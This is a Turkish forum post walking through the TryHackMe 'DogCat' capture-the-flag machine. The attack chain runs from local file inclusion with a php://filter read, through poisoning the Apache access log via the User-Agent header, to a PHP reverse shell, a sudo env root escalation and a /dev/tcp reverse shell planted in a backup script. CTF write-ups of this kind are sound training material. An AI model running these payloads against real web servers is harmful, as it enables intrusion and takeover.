THM | DogCat WriteUp

Pytang

Katılımcı Üye
18 Eki 2014
317
327
subdomain
mj1rbea.png


Merhaba THT ailesi, bu konumda TryHackMe sitesinde bulunan DogCat isimli makinenin çözümünü anlatacağım.

Bu CTF LFI açığı üzerinden makineye sızmayı konu alıyor daha iyi anlayabilmek için forumdaki
LFI konularına bakabilirsiniz.

İlk olarak Nmap taraması yaparak başlıyoruz.


nmap -sS -sV MakineIP

fubxe3l.PNG


80 ve 20 portlarının açık olduğunu görüyoruz, 80 portu olduğu için makinenin kendine ait bir websitesi var bu siteye http://MakineIP yazarak giriyoruz.

URL'ye baktığımızda, sayfanın, "dog" veya "cat" değerini "view" değişkenine ileten dog/ veya cat/ klasöründe saklanan resimleri gösteren bir php çalıştırdığını görüyoruz.


http://MakineIP/?view=dog

/etc/passwd'yi örneğin req url ile şu şekilde görüntüleyip görüntüleyemeyeceğimizi kontrol etmek için bazı temel LFI parametreleri deniyoruz:

http://MakineIP/?view=../../../../../../../etc/passwd

Erişim sağlayamadık.

Google' a Php LFI Filter yazıyorum, bu sitede verilen filtreyi deneyerek base64 encode yapacağız.

http://MakineIP/?view=php://filter/convert.base64-encode/resource=dog

Bize base64 ile encode edilmiş birşey verdi.

i1oytn5.PNG


Şimdi bize verdiği metni decode ederek içeriğine bakalım.

av4i3ja.PNG


Burada dizin geçişini kullanarak index.php dosyasının kaynağını da kontrol edebileceğimizi görüyoruz.

Buradaki önemli nokta, dosya uzantısı bir "ext" değişkeni iletmemize izin vermesidir.

Şimdi, aşağıdaki istekle /etc/passwd dosyasını okuyabilir miyiz diye kontrol ediyoruz.


Denediğimiz yöntem işe yaradı.

27826io.PNG


Şimdi tüm isteklerimizi günlüğe kaydeden günlük dosyasını bulup bulamayacağımızı kontrol ediyoruz. Biraz uğraştıktan sonra, /var/log/apache2/access.log dosyasında, sunucunun günlüklerini buluyoruz. Son isteğimizi orada görüyoruz.

6a69mz0.PNG


Günlüğün, bizi Mozilla Firefox olarak kaydettiğini görüyoruz. Bu nedenle ana php dosyasıyla birlikte çalıştırılacak olan User-agent başlığımıza bir php kodu enjekte edip edemeyeceğimizi kontrol ediyoruz. Bunu tekrar tekrar test etmek için burpsuite Repeater kullanabiliriz. TurkHackTeam yazarak deniyorum.

mpxvk4b.PNG


Başarılı olduk User-agent üzerinden php enjeksiyonu yapabiliyoruz.

Artık kod çalıştırabildiğimizi öğrendiğimize göre bir reverse shell açıp sisteme sızalım.

Terminale geliyoruz nc -lvnp 4444(istediğiniz bir numara yazabilirsiniz) artık ağımıza gelen istekleri yakalayabiliriz.

Pentest Monkey yada herhangi bir reverse shell cheat sheet sitesine girip php reverse shell bakıyoruz.

MakineIP/?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=php -r '$sock=fsockopen("IPadresiniz",dinlediğiniz port);exec("/bin/bash -i <&3 >&3 2>&3");'

Bu adımı yaptıktan sonra artık sisteme girdik bu bölümden sonrasını terminal kodları üzerinden göstereceğim.

#CTF'İN İSTEDİKLERİNİ BULALIM

Artık sisteme girdik ve ls yazarak girdiğimiz bölümdeki hangi dosyalar var görüntülüyoruz. Terminale cat flag.php yazarak hedefimize ulaşıyoruz.​
Kod:
www-data@5ab1679239ec:/var/www/html$ ls
ls
cat.php
cats
dog.php
dogs
flag.php
index.php
style.css
test.php

Terminale cd.. yazarak bir üst dosyaya çıkıyoruz ve yine ls yapıyoruz 2. hedefimize ulaşmış oluyoruz.
Kod:
www-data@5ab1679239ec:/var/www$ ls
ls
flag2_QMW7JvaY2LvK.txt
html

Üçüncü hedefimiz /root klasöründe, onu almak için yetkilerimizi yükseltmeye ihtiyacımız var. Terminale sudo -l yazıyoruz bize “/usr/bin/env” dosyasını parola olmadan root olarak çalıştırabileceğimizi gösteriyor. Yetkimizi yükseltiyoruz root klasörünün içerisine giriyoruz ve 3. hedefimiz karşımızda artık tek yapmamız gereken terminale cat flag3.txt yazmak.
Kod:
www-data@5ab1679239ec:/var/www$ sudo /usr/bin/env /bin/bash
sudo /usr/bin/env /bin/bash
whoami
root

cd /root
ls
flag3.txt

Dördüncü bayrak bu kutunun dışında. Bunu “/opt/backups”a girip yedekleme arşivine bakarak görebiliriz.
Son hedefimiz için yine bir reverse shell açmamız gerekiyor.​

Kod:
echo "#!/bin/bash" > backup.sh
echo "/bin/bash -c 'bash -i >& /dev/tcp/<IP_ADRESİN>/1234 0>&1'" >> backup.sh


Kod:
root@dogcat:~# ls
ls
container
flag4.txt
#CTF CEVAPLARI

nkrywhi.PNG
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.